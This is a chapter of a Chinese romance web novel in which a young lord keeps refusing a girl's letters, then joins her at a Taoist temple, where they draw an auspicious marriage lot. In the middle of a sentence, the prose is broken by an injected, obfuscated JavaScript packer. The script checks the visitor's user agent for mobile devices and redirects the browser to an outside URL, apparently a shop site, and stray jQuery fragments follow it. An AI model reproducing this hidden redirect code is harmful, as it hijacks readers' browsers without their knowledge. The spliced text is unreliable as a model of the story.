32. 拒绝

作品:《夫君美貌无人能及

    镇国公府。


    容珩提笔在砚台里蘸了点墨水,笔尖转落在宣纸上,一划一勾,墨色蜻蜓停在荷苞尖,深绿色荷叶丛里,朵朵荷花盛开。


    半边荷叶,半边湖水,碧波荡漾,一叶扁舟遨游在湖面。


    他又蘸了些银红色的颜料,直盯着画纸,捏紧笔杆,迟迟没有落下。


    缓缓呼出一口气后,他提笔勾画,一道高挑的身影落在船头,银红色的衣角随风飞扬。


    “世子。”小厮快步走进书房,双手捧着一封信,头深埋下去,“宋姑娘派人送了信。”


    容珩手一顿,笔尖凝聚墨水,滴落在纸上,原本要画的斗笠瞬间化成一个浓重的黑团,墨汁蔓延,覆盖那一抹俏丽的银红色。


    他盯着画纸,又抬头盯着那封信,久久不语。


    小厮埋首更深,双手颤抖,那封信紧跟着颤动,上边的亲启二字格外显眼。


    “……拿过来。”他缓声开口。


    小厮如蒙大赦,两步上前,将信端端正正地放在书案上,屈膝一礼,躬身迅速退出去。


    容珩盯着那封信看了一会儿,终于伸手拿起信,比之前几次的信略重,还有微微凸起的痕迹。


    他越发小心,撕开封口,托住笺纸,慢慢抽出,搭在纸上一起出现在眼前的……还有一枝桂花。


    层叠的翠绿树叶长而宽,金黄色花朵在枝干盛开,簇拥成团,一股桂花甜香在空气中慢慢弥散。


    容珩捏住那枝桂花,低头看信。


    依旧是宋予静喜欢的浣花笺,天青色的笺纸,左下角盛开三四朵粉色荷花,纸上字迹潇洒,却不显得随意。


    开篇先询问他近来是否安好,天气转冷,需多注意身子,再问他两日后是否得空,愿不愿意陪她去玄平观。


    字里行间的语气不像以往那般轻松自在,尤其是最后询问他能否陪她去道观时,更比以往添了几分小心翼翼。


    指尖抚过最后几句话,容珩仿佛能想象出她落笔时的模样,眉间轻轻蹙起,杏眸里笑意浅淡,下笔犹豫迟疑,斟词酌句,生怕他拒绝。


    但他拒绝她很多次了。


    他长叹一声,伸手打开书案边上的长形紫檀木匣子。


    里面躺着厚厚一沓信笺,全都是她写来的,除了手里这封,最近一封是重阳节前送来,邀他同去登高。


    容珩将信笺小心折好,重新放回信封里,又抽了两张笺纸,笔尖凝在纸上,迟迟不动,墨水洇散,浓黑墨迹蔓延。


    拒绝的话语在脑海里过了几遍,之前也写过几封回绝的信笺,以宋予静的性子,只要他认真解释,她从来不会怪他,还会反过来宽慰他。


    可是……他已经整整十五天没有见过她了。


    容珩闭了闭眼,直接撕碎黑得无法再写的笺纸,单手支着太阳穴,斜倚在圈椅里,另一只手拿着书,纸上的字渐渐糊成一团,眼帘越发沉重。


    眼前陷入黑暗,她的身影浮现在脑海里,双眸明亮澄净,笑意盈盈,看人的时候,总是认真专注,能看见她眼中细碎的春光。


    她跑到他的面前,勾起他的衣袖,紧拽在手里,深深皱眉,眼眸里的光暗淡消沉。


    “你为什么不愿意见我?是不是讨厌我?”


    不是讨厌,是喜……


    容珩猛地睁开眼,迅速坐直,书也啪的一声掉落在地。


    他轻轻地咬了下口中的软肉,将溜到舌尖即将说出口的那个欢字吞回腹中,又弯腰去捡书。


    书页凌乱散开,一句“其妻曰:‘君美甚,徐公何能及君也?’①”霎时映入眼帘,耳边却响起她脆声念出这句话的模样。


    紧张又自信,微微摇晃脑袋,活像是在学堂先生面前背书。


    她以为他是在考她背书,全然不知他问出那句话后的复杂心绪。


    容珩缓缓合上书册,重新抽出一张浣花笺,蘸墨落笔,措辞谨慎,写出来的依旧是婉言谢绝。


    “来人。”


    守在屋外的小厮应声而进。


    他合紧封口,“立即将此信送去长公主府。”


    小厮应是,双手恭敬地接过信,匆匆离开书房。


    容珩望着门口,半晌后,逼自己收回心神,不要再想。


    他卷起那张画卷,放进卷缸里,拿镇纸压好一张全新的洒金宣纸,笔尖落在纸上,再一次勾勒出窈窕的银红色身影。


    *


    “姑娘,玄平观到了。”


    侍女勒住缰绳,见骑在前面的人没有停下来的迹象,不得不提高声音。


    被侍女叫了几声,宋予静如梦初醒,反问了一声:“什么?”


    侍女耐心地重复:“姑娘,玄平观到了。”


    她抬头看向前方。


    玄平观位于半山腰,周围草木林立,松柏苍翠欲滴,清幽沉寂。


    她下了马,将马匹交给角门的道童,相对行礼,率先走进观内。


    已过重阳,观内安静,前来上香求签拜神的香客不多。


    宋予静直接走到供奉三清的正殿,手持三炷香,贴在眉心,依礼而拜,再稳稳地插进香炉里。


    她望着庄严肃穆的三清神像,依照抱拳礼弯腰深拜,萦绕心尖多日的烦闷终于消散些许。


    走出正殿后,她淡声开口:“我想一个人走走,你们不用跟着,想干什么就去,但不要叨扰观内诸位道长,我会在天黑前回家。”


    随行的几侍女对视一番,恭声应是。


    宋予静环顾四周,看见大殿右侧的求签处,心生好奇,左右无事,走过去,停在一名年轻姑娘的身后。


    那位姑娘从道士手里接住签文,紧握在手里,转身匆匆走向解签处。


    她回头看了眼面色羞红的年轻姑娘,朝签桌后的中年乾道行礼:“见过道长。”


    道士回礼,将桌上的签筒往前一推,“姑娘是来求签吗?”


    宋予静回了声是,认真听道士讲完求签的流程后,拿起签筒,双手合握,闭上眼睛,轻缓摇动。


    耳边响起签片互相轻碰的声音,碰到签筒边缘时,声音略重,风声中夹杂鸟鸣声,隐约还听见一阵脚步声,停在她的身边。


    或许也是来求签的香客。


    她一边想,一边加快摇签,直至啪嗒几声,签文掉出签筒。


    声音听上去有些不对,宋予静立即睁开眼睛,恰好看见签文从木桌边缘掉落。


    她连


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022382|131837||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    忙伸手去接。


    旁边忽然斜伸出一只手,伸得更低,骨节分明,修长白皙,曾经握住她的手,亲自教她画画。


    签文落在她的手里,她的手落在他的手里。


    宋予静愣了下,扭头看过去。


    白衣胜雪的郎君站在她的身侧,长发半披半束,随着他弯腰的动作滑落,遮住午后的阳光,与她对视一眼,迅速低垂眼帘,不再看她。


    她眨了眨眼睛,直盯着他看,手背传来的温热触感不似作伪,他真实地站在她的面前,不是幻觉。


    难言的惊喜漫上心头,宋予静一把握住他的手,惊声开口:“欸?你不是说没空来吗?难道是府里的事情忙完了?”


    容珩飞快地看了她一眼,顺势回答:“是,事情处理的比较快。”


    “一切顺利就好。”她站直,“你是刚刚才到吗?”


    “嗯,见你在求签,不敢打扰你。”


    听他提起求签,宋予静看向两人紧紧交握在一起的手,竹片制成的签文横在两人的手心,有些咯手。


    他手掌宽厚,几乎将她的手全包住,掌心暖意点点。


    她松开手指,却没能抽回,依旧被他抓在手里,不得不轻声开口:“签文已经接住了,你可以放开我吗?”


    “……失礼了。”


    容珩迅速松开手,背到身后。


    “没事。”


    宋予静捧住签文,交给道士。


    道士将签文拓印下来,递还一卷纸卷,朝两人行了一礼后,声音平和道:“解签处就在对面,签文不宜落地,此签可以算作两位一同掷出求到的。”


    “多谢道长。”她回了一礼,转身朝前走,“来都来了,不如去解签处看看?”


    容珩跟在她的身边,低声应好。


    解签处不算远,到的时候,前面还排着三四位同样解签的香客。


    宋予静跟在最后面,上下打量许久不见的容珩,越看,她越发拧紧眉头,视线落在他的眼底,那里染上一片浅浅的青黑,衬得白皙的脸颊似乎隐隐发白。


    “你生病了?”她急声问,“怎么脸色这么难看?”


    “没有。”容珩微笑,“最近太忙了,夜里觉少。”


    “真的?”


    “自然是真的。”他停顿一下,“我不会骗你。”


    她还是不放心:“要不要请大夫开点安神药?不想喝药的话,在床头挂个安神的香囊?”


    “不必。”容珩错开话题,“轮到我们了。”


    后面还有在排队的香客,宋予静不得不先将签文递给解签的道士,客气道:“有劳道长了。”


    坐在条案后的道士看上去年纪很大,白发苍苍,长长的胡须垂在道袍上,笑容和蔼地接过签纸。


    本来就是因为好奇才去求签,宋予静不甚在意签文结果,继续直盯着容珩,试图看出他哪里不对劲。


    往常他都会回看她,笑容温和,而不是像现在这样,看她一眼后,便半阖眼帘,盯着地面,一言不发。


    没等她看出容珩的异样,解签道士平和的声音先响起。


    “这是上上大吉姻缘签,两位缘分天定,切记以心换心,不可错过。”